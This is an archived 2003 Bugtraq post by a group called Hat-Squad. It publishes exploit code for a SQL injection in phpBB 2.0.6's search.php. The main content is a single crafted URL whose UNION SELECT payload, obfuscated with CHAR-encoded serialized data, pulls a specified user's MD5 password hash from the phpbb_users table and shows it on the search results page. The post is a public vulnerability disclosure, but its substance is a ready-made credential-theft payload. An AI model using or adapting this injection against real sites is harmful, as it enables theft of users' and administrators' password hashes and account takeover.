[Hat-Squad] phpBB search_id injection exploit

From: Hat-Squad Security Team (service_at_hat-squad.com)
Date: 11/28/03

  • Next message: Trustix Security Advisor: "TSLSA-2003-0045 - stunnel"
    Date: 28 Nov 2003 20:59:55 -0000
    To: bugtraq@securityfocus.com
    
    
    ('binary' encoding is not supported, stored as-is)

    Hello list,

    Here is the exploit code for phpbb 2.06 sql injection described in http://www.securityfocus.com/archive/1/345872 .
    It will return MD5 password hash of specified user as [highlight] variable for viewtopic.php in search results page.

    http://site.com/search.php?search_id=1%20union%20select%20concat(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34),user_password,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125))%20from%20phpbb_users%20where%20user_id=[enter uid]/*


  • Next message: Trustix Security Advisor: "TSLSA-2003-0045 - stunnel"

    Relevant Pages

    • XSS bug in phpBB
      ... ('binary' encoding is not supported, ... Vulnerable systems: ... The Last ver ... $highlight = htmlspecialchars; ...
      (Bugtraq)
    • PHP BB bug
      ... ('binary' encoding is not supported, ... i dont know if my foundation is acceptable or not but here we go i post it... ... when u right an SQL query in the highlight section of the PHPBB u'll get all of the page highlighted ...
      (Bugtraq)